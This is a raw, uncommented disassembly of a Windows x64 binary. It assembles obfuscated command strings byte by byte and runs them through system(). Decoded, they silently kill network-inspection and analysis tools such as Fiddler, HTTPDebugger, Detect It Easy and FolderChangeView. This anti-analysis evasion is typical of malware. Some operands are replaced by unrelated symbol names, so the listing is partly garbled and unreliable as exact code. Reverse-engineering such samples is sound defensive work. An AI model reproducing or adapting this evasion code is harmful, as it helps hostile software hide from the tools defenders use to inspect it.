lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x6c
mov byte [rbp + 0x37], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x20
mov byte [rbp + 0x38], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x2f
mov byte [rbp + 0x39], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x46
mov byte [rbp + 0x3a], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x49
mov byte [rbp + 0x3b], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x20
mov byte [rbp + 0x3c], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x22
mov byte [rbp + 0x3d], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x49
mov byte [rbp + 0x3e], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x4d
mov byte [rbp + 0x3f], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x41
mov byte [rbp + 0x40], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x47
mov byte [rbp + 0x41], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov byte [rbp + 0x42], al
mov dl, 0x45
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x4e
mov byte [rbp + 0x43], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x41
mov byte [rbp + 0x44], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x4d
mov byte [rbp + 0x45], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x45
mov byte [rbp + 0x46], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x20
mov byte [rbp + 0x47], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x65
mov byte [rbp + 0x48], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x71
mov byte [rbp + 0x49], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x20
mov byte [rbp + 0x4a], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x66
mov byte [rbp + 0x4b], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x69
mov byte [rbp + 0x4c], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x64
mov byte [rbp + 0x4d], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x64
mov byte [rbp + 0x4e], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x6c
mov byte [rbp + 0x4f], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x65
mov byte [rbp + 0x50], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, WSAStartup
mov byte [rbp + 0x51], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x2a
mov byte [rbp + 0x52], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x22
mov byte [rbp + 0x53], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x20
mov byte [rbp + 0x54], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x2f
mov byte [rbp + 0x55], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov byte [rbp + 0x56], al
mov dl, 0x49
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x4d
mov byte [rbp + 0x57], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x20
mov byte [rbp + 0x58], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x2a
mov byte [rbp + 0x59], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x20
mov byte [rbp + 0x5a], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x2f
mov byte [rbp + 0x5b], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x46
mov byte [rbp + 0x5c], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x20
mov byte [rbp + 0x5d], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x2f
mov byte [rbp + 0x5e], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x54
mov byte [rbp + 0x5f], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x20
mov byte [rbp + 0x60], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x3e
mov byte [rbp + 0x61], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, WSAGetLastError
mov byte [rbp + 0x62], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x75
mov byte [rbp + 0x63], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x6c
mov byte [rbp + 0x64], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x20
mov byte [rbp + 0x65], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x32
mov byte [rbp + 0x66], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x3e
mov byte [rbp + 0x67], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x26
mov byte [rbp + 0x68], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x31
mov byte [rbp + 0x69], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov byte [rbp + 0x6a], al
xor eax, eax
mov byte [rbp + 0x6b], al
mov rdi, rsi
mov rdx, rdi
lea rcx, [rbp + 0x31]
call fcn.140060ec0
lea rcx, [rbp + 0x30]
mov dl, byte [rax]
call fcn.140060eb8
mov rdx, rdi
lea rcx, [rbp + 0x31]
mov bl, al
call fcn.140060ec0
add rdi, r14
mov byte [rax], bl
cmp rdi, r15
jb 0x14005ce03
mov rdx, r15
lea rcx, [rbp + 0x31]
call fcn.140060ec0
lea rcx, [rbp + 0x31]
mov byte [rax], sil
call fcn.1400560b0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dl, reloc.WS2_32.dll_WSACleanup
mov byte [rbp - 8], 0x42
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x61
mov byte [rbp - 7], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, reloc.WS2_32.dll_WSAStartup
mov byte [rbp - 6], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x6b
mov byte [rbp - 5], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x6b
mov byte [rbp - 4], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x69
mov byte [rbp - 3], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x6c
mov byte [rbp - 2], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x6c
mov byte [rbp - 1], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x20
mov byte [rbp], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x2f
mov byte [rbp + 1], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x46
mov byte [rbp + 2], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x49
mov byte [rbp + 3], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x20
mov byte [rbp + 4], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x22
mov byte [rbp + 5], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x49
mov byte [rbp + 6], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x4d
mov byte [rbp + 7], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x41
mov byte [rbp + 8], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x47
mov byte [rbp + 9], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov byte [rbp + 0xa], al
mov dl, 0x45
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x4e
mov byte [rbp + 0xb], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x41
mov byte [rbp + 0xc], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x4d
mov byte [rbp + 0xd], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x45
mov byte [rbp + 0xe], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x20
mov byte [rbp + 0xf], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x65
mov byte [rbp + 0x10], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x71
mov byte [rbp + 0x11], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x20
mov byte [rbp + 0x12], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x64
mov byte [rbp + 0x13], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x69
mov byte [rbp + 0x14], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x65
mov byte [rbp + 0x15], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x2a
mov byte [rbp + 0x16], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x22
mov byte [rbp + 0x17], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x20
mov byte [rbp + 0x18], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x2f
mov byte [rbp + 0x19], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x49
mov byte [rbp + 0x1a], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x4d
mov byte [rbp + 0x1b], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x20
mov byte [rbp + 0x1c], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x2a
mov byte [rbp + 0x1d], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov byte [rbp + 0x1e], al
mov dl, 0x20
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x2f
mov byte [rbp + 0x1f], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x46
mov byte [rbp + 0x20], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x20
mov byte [rbp + 0x21], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x2f
mov byte [rbp + 0x22], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x54
mov byte [rbp + 0x23], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x20
mov byte [rbp + 0x24], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x3e
mov byte [rbp + 0x25], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, WSAGetLastError
mov byte [rbp + 0x26], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x75
mov byte [rbp + 0x27], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x6c
mov byte [rbp + 0x28], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x20
mov byte [rbp + 0x29], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x32
mov byte [rbp + 0x2a], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x3e
mov byte [rbp + 0x2b], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x26
mov byte [rbp + 0x2c], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov dl, 0x31
mov byte [rbp + 0x2d], al
lea rcx, [rbp - 8]
call fcn.140060eb8
mov byte [rbp + 0x2e], al
mov rdi, rsi
xor eax, eax
mov byte [rbp + 0x2f], al
mov rdx, rdi
lea rcx, [rbp - 7]
call fcn.140060ec0
lea rcx, [rbp - 8]
mov dl, byte [rax]
call fcn.140060eb8
mov rdx, rdi
lea rcx, [rbp - 7]
mov bl, al
call fcn.140060ec0
add rdi, r14
mov byte [rax], bl
cmp rdi, 0x36
jb 0x14005d153
mov edx, gethostname
lea rcx, [rbp - 7]
call fcn.140060ec0
lea rcx, [rbp - 7]
mov byte [rax], sil
call fcn.1400560b0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dl, reloc.WS2_32.dll_WSACleanup
mov byte [rbp - 0x70], WSAGetLastError
lea rcx, [rbp - 0x70]
call fcn.140060eb8
mov dl, 0x61
mov byte [rbp - 0x6f], al
lea rcx, [rbp - 0x70]
call fcn.140060eb8
mov dl, reloc.WS2_32.dll_WSAStartup
mov byte [rbp - 0x6e], al
lea rcx, [rbp - 0x70]
call fcn.140060eb8
mov dl, 0x6b
mov byte [rbp - 0x6d], al
lea rcx, [rbp - 0x70]
call fcn.140060eb8
mov dl, 0x6b
mov byte [rbp - 0x6c], al
lea rcx, [rbp - 0x70]
call fcn.140060eb8
mov dl, 0x69
mov byte [rbp - 0x6b], al
lea rcx, [rbp - 0x70]
call fcn.140060eb8
mov dl, 0x6c
mov byte [rbp - 0x6a], al
lea rcx, [rbp - 0x70]
call fcn.140060eb8
mov dl, 0x6c
mov byte [rbp - 0x69], al
lea rcx, [rbp - 0x70]
call fcn.140060eb8
mov dl, 0x20
mov byte [rbp - 0x68], al
lea rcx, [rbp - 0x70]
call fcn.140060eb8
mov dl, 0x2f
mov byte [rbp - 0x67], al
lea rcx, [rbp - 0x70]
call fcn.140060eb8
mov dl, 0x66
mov byte [rbp - 0x66], al
lea rcx, [rbp - 0x70]
call fcn.140060eb8
mov dl, 0x20
mov byte [rbp - 0x65], al
lea rcx, [rbp - 0x70]
call fcn.140060eb8
mov dl, 0x2f
mov byte [rbp - 0x64], al
lea rcx, [rbp - 0x70]
call fcn.140060eb8
mov dl, 0x69
mov byte [rbp - 0x63], al
lea rcx, [rbp - 0x70]
call fcn.140060eb8
mov dl, 0x6d
mov byte [rbp - 0x62], al
lea rcx, [rbp - 0x70]
call fcn.140060eb8
mov dl, 0x20
mov byte [rbp - 0x61], al
lea rcx, [rbp - 0x70]
call fcn.140060eb8
mov dl, 0x48
mov byte [rbp - 0x60], al
lea rcx, [rbp - 0x70]
call fcn.140060eb8
mov dl, 0x54
mov byte [rbp - 0x5f], al
lea rcx, [rbp - 0x70]
call fcn.140060eb8
mov byte [rbp - 0x5e], al
mov dl, 0x54
lea rcx, [rbp - 0x70]
call fcn.140060eb8
mov dl, 0x50
mov byte [rbp - 0x5d], al
lea rcx, [rbp - 0x70]
call fcn.140060eb8
mov dl, 0x44
mov byte [rbp - 0x5c], al
lea rcx, [rbp - 0x70]
call fcn.140060eb8
mov dl, 0x65
mov byte [rbp - 0x5b], al
lea rcx, [rbp - 0x70]
call fcn.140060eb8
mov dl, 0x62
mov byte [rbp - 0x5a], al
lea rcx, [rbp - 0x70]
call fcn.140060eb8
mov dl, 0x75
mov byte [rbp - 0x59], al
lea rcx, [rbp - 0x70]
call fcn.140060eb8
mov dl, 0x67
mov byte [rbp - 0x58], al
lea rcx, [rbp - 0x70]
call fcn.140060eb8
mov dl, 0x67
mov byte [rbp - 0x57], al
lea rcx, [rbp - 0x70]
call fcn.140060eb8
mov dl, 0x65
mov byte [rbp - 0x56], al
lea rcx, [rbp - 0x70]
call fcn.140060eb8
mov dl, WSAStartup
mov byte [rbp - 0x55], al
lea rcx, [rbp - 0x70]
call fcn.140060eb8
mov dl, 0x53
mov byte [rbp - 0x54], al
lea rcx, [rbp - 0x70]
call fcn.140060eb8
mov dl, 0x76
mov byte [rbp - 0x53], al
lea rcx, [rbp - 0x70]
call fcn.140060eb8
mov dl, 0x63
mov byte [rbp - 0x52], al
lea rcx, [rbp - 0x70]
call fcn.140060eb8
mov dl, 0x2e
mov byte [rbp - 0x51], al
lea rcx, [rbp - 0x70]
call fcn.140060eb8
mov dl, 0x65
mov byte [rbp - 0x50], al
lea rcx, [rbp - 0x70]
call fcn.140060eb8
mov dl, 0x78
mov byte [rbp - 0x4f], al
lea rcx, [rbp - 0x70]
call fcn.140060eb8
mov dl, 0x65
mov byte [rbp - 0x4e], al
lea rcx, [rbp - 0x70]
call fcn.140060eb8
mov dl, 0x20
mov byte [rbp - 0x4d], al
lea rcx, [rbp - 0x70]
call fcn.140060eb8
mov dl, 0x3e
mov byte [rbp - 0x4c], al
lea rcx, [rbp - 0x70]
call fcn.140060eb8
mov dl, WSAGetLastError
mov byte [rbp - 0x4b], al
lea rcx, [rbp - 0x70]
call fcn.140060eb8
mov byte [rbp - 0x4a], al
mov dl, 0x75
lea rcx, [rbp - 0x70]
call fcn.140060eb8
mov dl, 0x6c
mov byte [rbp - 0x49], al
lea rcx, [rbp - 0x70]
call fcn.140060eb8
mov dl, 0x20
mov byte [rbp - 0x48], al
lea rcx, [rbp - 0x70]
call fcn.140060eb8
mov dl, 0x32
mov byte [rbp - 0x47], al
lea rcx, [rbp - 0x70]
call fcn.140060eb8
mov dl, 0x3e
mov byte [rbp - 0x46], al
lea rcx, [rbp - 0x70]
call fcn.140060eb8
mov dl, 0x26
mov byte [rbp - 0x45], al
lea rcx, [rbp - 0x70]
call fcn.140060eb8
mov dl, 0x31
mov byte [rbp - 0x44], al
lea rcx, [rbp - 0x70]
call fcn.140060eb8
mov byte [rbp - 0x43], al
mov rdi, rsi
xor eax, eax
mov byte [rbp - 0x42], al
mov rdx, rdi
lea rcx, [rbp - 0x6f]
call fcn.140060ec0
lea rcx, [rbp - 0x70]
mov dl, byte [rax]
call fcn.140060eb8
mov rdx, rdi
lea rcx, [rbp - 0x6f]
mov bl, al
call fcn.140060ec0
add rdi, r14
mov byte [rax], bl
cmp rdi, 0x2d
jb 0x14005d428
mov edx, 0x2d
lea rcx, [rbp - 0x6f]
call fcn.140060ec0
lea rcx, [rbp - 0x6f]
mov byte [rax], sil
call fcn.1400560b0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dl, reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x60], 0x7d
lea rcx, [rsp + 0x60]
call fcn.140060eb8
mov dl, 0x61
mov byte [rsp + 0x61], al
lea rcx, [rsp + 0x60]
call fcn.140060eb8
mov dl, reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x62], al
lea rcx, [rsp + 0x60]
call fcn.140060eb8
mov dl, 0x6b
mov byte [rsp + 0x63], al
lea rcx, [rsp + 0x60]
call fcn.140060eb8
mov dl, 0x6b
mov byte [rsp + 0x64], al
lea rcx, [rsp + 0x60]
call fcn.140060eb8
mov dl, 0x69
mov byte [rsp + 0x65], al
lea rcx, [rsp + 0x60]
call fcn.140060eb8
mov dl, 0x6c
mov byte [rsp + 0x66], al
lea rcx, [rsp + 0x60]
call fcn.140060eb8
mov dl, 0x6c
mov byte [rsp + 0x67], al
lea rcx, [rsp + 0x60]
call fcn.140060eb8
mov dl, 0x20
mov byte [rsp + 0x68], al
lea rcx, [rsp + 0x60]
call fcn.140060eb8
mov dl, 0x2f
mov byte [rsp + 0x69], al
lea rcx, [rsp + 0x60]
call fcn.140060eb8
mov dl, 0x66
mov byte [rsp + 0x6a], al
lea rcx, [rsp + 0x60]
call fcn.140060eb8
mov dl, 0x20
mov byte [rsp + 0x6b], al
lea rcx, [rsp + 0x60]
call fcn.140060eb8
mov dl, 0x2f
mov byte [rsp + 0x6c], al
lea rcx, [rsp + 0x60]
call fcn.140060eb8
mov dl, 0x69
mov byte [rsp + 0x6d], al
lea rcx, [rsp + 0x60]
call fcn.140060eb8
mov dl, 0x6d
mov byte [rsp + 0x6e], al
lea rcx, [rsp + 0x60]
call fcn.140060eb8
mov dl, 0x20
mov byte [rsp + 0x6f], al
lea rcx, [rsp + 0x60]
call fcn.140060eb8
mov dl, 0x48
mov byte [rsp + 0x70], al
lea rcx, [rsp + 0x60]
call fcn.140060eb8
mov dl, 0x54
mov byte [rsp + 0x71], al
lea rcx, [rsp + 0x60]
call fcn.140060eb8
mov byte [rsp + 0x72], al
mov dl, 0x54
lea rcx, [rsp + 0x60]
call fcn.140060eb8
mov dl, 0x50
mov byte [rsp + 0x73], al
lea rcx, [rsp + 0x60]
call fcn.140060eb8
mov dl, 0x44
mov byte [rsp + 0x74], al
lea rcx, [rsp + 0x60]
call fcn.140060eb8
mov dl, 0x65
mov byte [rsp + 0x75], al
lea rcx, [rsp + 0x60]
call fcn.140060eb8
mov dl, 0x62
mov byte [rsp + 0x76], al
lea rcx, [rsp + 0x60]
call fcn.140060eb8
mov dl, 0x75
mov byte [rsp + 0x77], al
lea rcx, [rsp + 0x60]
call fcn.140060eb8
mov dl, 0x67
mov byte [rsp + 0x78], al
lea rcx, [rsp + 0x60]
call fcn.140060eb8
mov dl, 0x67
mov byte [rsp + 0x79], al
lea rcx, [rsp + 0x60]
call fcn.140060eb8
mov dl, 0x65
mov byte [rsp + 0x7a], al
lea rcx, [rsp + 0x60]
call fcn.140060eb8
mov dl, WSAStartup
mov byte [rsp + 0x7b], al
lea rcx, [rsp + 0x60]
call fcn.140060eb8
mov dl, 0x2e
mov byte [rsp + 0x7c], al
lea rcx, [rsp + 0x60]
call fcn.140060eb8
mov dl, 0x65
mov byte [rsp + 0x7d], al
lea rcx, [rsp + 0x60]
call fcn.140060eb8
mov dl, 0x78
mov byte [rsp + 0x7e], al
lea rcx, [rsp + 0x60]
call fcn.140060eb8
mov dl, 0x65
mov byte [rsp + 0x7f], al
lea rcx, [rsp + 0x60]
call fcn.140060eb8
mov dl, 0x20
mov byte [rbp - 0x80], al
lea rcx, [rsp + 0x60]
call fcn.140060eb8
mov dl, 0x3e
mov byte [rbp - 0x7f], al
lea rcx, [rsp + 0x60]
call fcn.140060eb8
mov dl, WSAGetLastError
mov byte [rbp - 0x7e], al
lea rcx, [rsp + 0x60]
call fcn.140060eb8
mov dl, 0x75
mov byte [rbp - 0x7d], al
lea rcx, [rsp + 0x60]
call fcn.140060eb8
mov dl, 0x6c
mov byte [rbp - 0x7c], al
lea rcx, [rsp + 0x60]
call fcn.140060eb8
mov dl, 0x20
mov byte [rbp - 0x7b], al
lea rcx, [rsp + 0x60]
call fcn.140060eb8
mov byte [rbp - 0x7a], al
mov dl, 0x32
lea rcx, [rsp + 0x60]
call fcn.140060eb8
mov dl, 0x3e
mov byte [rbp - 0x79], al
lea rcx, [rsp + 0x60]
call fcn.140060eb8
mov dl, 0x26
mov byte [rbp - 0x78], al
lea rcx, [rsp + 0x60]
call fcn.140060eb8
mov dl, 0x31
mov byte [rbp - 0x77], al
lea rcx, [rsp + 0x60]
call fcn.140060eb8
mov byte [rbp - 0x76], al
mov rdi, rsi
xor eax, eax
mov byte [rbp - 0x75], al
mov rdx, rdi
lea rcx, [rsp + 0x61]
call fcn.140060ec0
lea rcx, [rsp + 0x60]
mov dl, byte [rax]
call fcn.140060eb8
mov rdx, rdi
lea rcx, [rsp + 0x61]
mov bl, al
call fcn.140060ec0
add rdi, r14
mov byte [rax], bl
cmp rdi, 0x2a
jb 0x14005d71d
mov edx, 0x2a
lea rcx, [rsp + 0x61]
call fcn.140060ec0
lea rcx, [rsp + 0x61]
mov byte [rax], sil
call fcn.1400560b0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dl, reloc.WS2_32.dll_WSACleanup
mov byte [rbp - 0x40], 0x58
lea rcx, [rbp - 0x40]
call fcn.140060eb8
mov dl, 0x61
mov byte [rbp - 0x3f], al
lea rcx, [rbp - 0x40]
call fcn.140060eb8
mov dl, reloc.WS2_32.dll_WSAStartup
mov byte [rbp - 0x3e], al
lea rcx, [rbp - 0x40]
call fcn.140060eb8
mov dl, 0x6b
mov byte [rbp - 0x3d], al
lea rcx, [rbp - 0x40]
call fcn.140060eb8
mov dl, 0x6b
mov byte [rbp - 0x3c], al
lea rcx, [rbp - 0x40]
call fcn.140060eb8
mov dl, 0x69
mov byte [rbp - 0x3b], al
lea rcx, [rbp - 0x40]
call fcn.140060eb8
mov dl, 0x6c
mov byte [rbp - 0x3a], al
lea rcx, [rbp - 0x40]
call fcn.140060eb8
mov dl, 0x6c
mov byte [rbp - 0x39], al
lea rcx, [rbp - 0x40]
call fcn.140060eb8
mov dl, 0x20
mov byte [rbp - 0x38], al
lea rcx, [rbp - 0x40]
call fcn.140060eb8
mov dl, 0x2f
mov byte [rbp - 0x37], al
lea rcx, [rbp - 0x40]
call fcn.140060eb8
mov dl, 0x66
mov byte [rbp - 0x36], al
lea rcx, [rbp - 0x40]
call fcn.140060eb8
mov dl, 0x20
mov byte [rbp - 0x35], al
lea rcx, [rbp - 0x40]
call fcn.140060eb8
mov dl, 0x2f
mov byte [rbp - 0x34], al
lea rcx, [rbp - 0x40]
call fcn.140060eb8
mov dl, 0x69
mov byte [rbp - 0x33], al
lea rcx, [rbp - 0x40]
call fcn.140060eb8
mov dl, 0x6d
mov byte [rbp - 0x32], al
lea rcx, [rbp - 0x40]
call fcn.140060eb8
mov dl, 0x20
mov byte [rbp - 0x31], al
lea rcx, [rbp - 0x40]
call fcn.140060eb8
mov dl, 0x46
mov byte [rbp - 0x30], al
lea rcx, [rbp - 0x40]
call fcn.140060eb8
mov dl, reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp - 0x2f], al
lea rcx, [rbp - 0x40]
call fcn.140060eb8
mov byte [rbp - 0x2e], al
mov dl, 0x6c
lea rcx, [rbp - 0x40]
call fcn.140060eb8
mov dl, 0x64
mov byte [rbp - 0x2d], al
lea rcx, [rbp - 0x40]
call fcn.140060eb8
mov dl, 0x65
mov byte [rbp - 0x2c], al
lea rcx, [rbp - 0x40]
call fcn.140060eb8
mov dl, WSAStartup
mov byte [rbp - 0x2b], al
lea rcx, [rbp - 0x40]
call fcn.140060eb8
mov dl, 0x43
mov byte [rbp - 0x2a], al
lea rcx, [rbp - 0x40]
call fcn.140060eb8
mov dl, 0x68
mov byte [rbp - 0x29], al
lea rcx, [rbp - 0x40]
call fcn.140060eb8
mov dl, 0x61
mov byte [rbp - 0x28], al
lea rcx, [rbp - 0x40]
call fcn.140060eb8
mov dl, WSAGetLastError
mov byte [rbp - 0x27], al
lea rcx, [rbp - 0x40]
call fcn.140060eb8
mov dl, 0x67
mov byte [rbp - 0x26], al
lea rcx, [rbp - 0x40]
call fcn.140060eb8
mov dl, 0x65
mov byte [rbp - 0x25], al
lea rcx, [rbp - 0x40]
call fcn.140060eb8
mov dl, reloc.WS2_32.dll_WSAStartup
mov byte [rbp - 0x24], al
lea rcx, [rbp - 0x40]
call fcn.140060eb8
mov dl, 0x56
mov byte [rbp - 0x23], al
lea rcx, [rbp - 0x40]
call fcn.140060eb8
mov dl, 0x69
mov byte [rbp - 0x22], al
lea rcx, [rbp - 0x40]
call fcn.140060eb8
mov dl, 0x65
mov byte [rbp - 0x21], al
lea rcx, [rbp - 0x40]
call fcn.140060eb8
mov dl, 0x77
mov byte [rbp - 0x20], al
lea rcx, [rbp - 0x40]
call fcn.140060eb8
mov dl, 0x2e
mov byte [rbp - 0x1f], al
lea rcx, [rbp - 0x40]
call fcn.140060eb8
mov dl, 0x65
mov byte [rbp - 0x1e], al
lea rcx, [rbp - 0x40]
call fcn.140060eb8
mov dl, 0x78
mov byte [rbp - 0x1d], al
lea rcx, [rbp - 0x40]
call fcn.140060eb8
mov dl, 0x65
mov byte [rbp - 0x1c], al
lea rcx, [rbp - 0x40]
call fcn.140060eb8
mov dl, 0x20
mov byte [rbp - 0x1b], al
lea rcx, [rbp - 0x40]
call fcn.140060eb8
mov byte [rbp - 0x1a], al
mov dl, 0x3e
lea rcx, [rbp - 0x40]
call fcn.140060eb8
mov dl, WSAGetLastError
mov byte [rbp - 0x19], al
lea rcx, [rbp - 0x40]
call fcn.140060eb8
mov dl, 0x75
mov byte [rbp - 0x18], al
lea rcx, [rbp - 0x40]
call fcn.140060eb8
mov dl, 0x6c
mov byte [rbp - 0x17], al
lea rcx, [rbp - 0x40]
call fcn.140060eb8
mov dl, 0x20
mov byte [rbp - 0x16], al
lea rcx, [rbp - 0x40]
call fcn.140060eb8
mov dl, 0x32
mov byte [rbp - 0x15], al
lea rcx, [rbp - 0x40]
call fcn.140060eb8
mov dl, 0x3e
mov byte [rbp - 0x14], al
lea rcx, [rbp - 0x40]
call fcn.140060eb8
mov dl, 0x26
mov byte [rbp - 0x13], al
lea rcx, [rbp - 0x40]
call fcn.140060eb8
mov dl, 0x31
mov byte [rbp - 0x12], al
lea rcx, [rbp - 0x40]
call fcn.140060eb8
mov byte [rbp - 0x11], al
mov rdi, rsi
xor eax, eax
mov byte [rbp - 0x10], al
mov rdx, rdi
lea rcx, [rbp - 0x3f]
call fcn.140060ec0
lea rcx, [rbp - 0x40]
mov dl, byte [rax]
call fcn.140060eb8
mov rdx, rdi
lea rcx, [rbp - 0x3f]
mov bl, al
call fcn.140060ec0
add rdi, r14
mov byte [rax], bl
cmp rdi, 0x2f
jb 0x14005da13
mov edx, 0x2f
lea rcx, [rbp - 0x3f]
call fcn.140060ec0
lea rcx, [rbp - 0x3f]
mov byte [rax], sil
call fcn.1400560b0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dl, reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x38], reloc.WS2_32.dll_sendto
lea rcx, [rsp + 0x38]
call fcn.140060eb8
mov dl, 0x63
mov byte [rsp + 0x39], al
lea rcx, [rsp + 0x38]
call fcn.140060eb8
mov dl, 0x20
mov byte [rsp + 0x3a], al
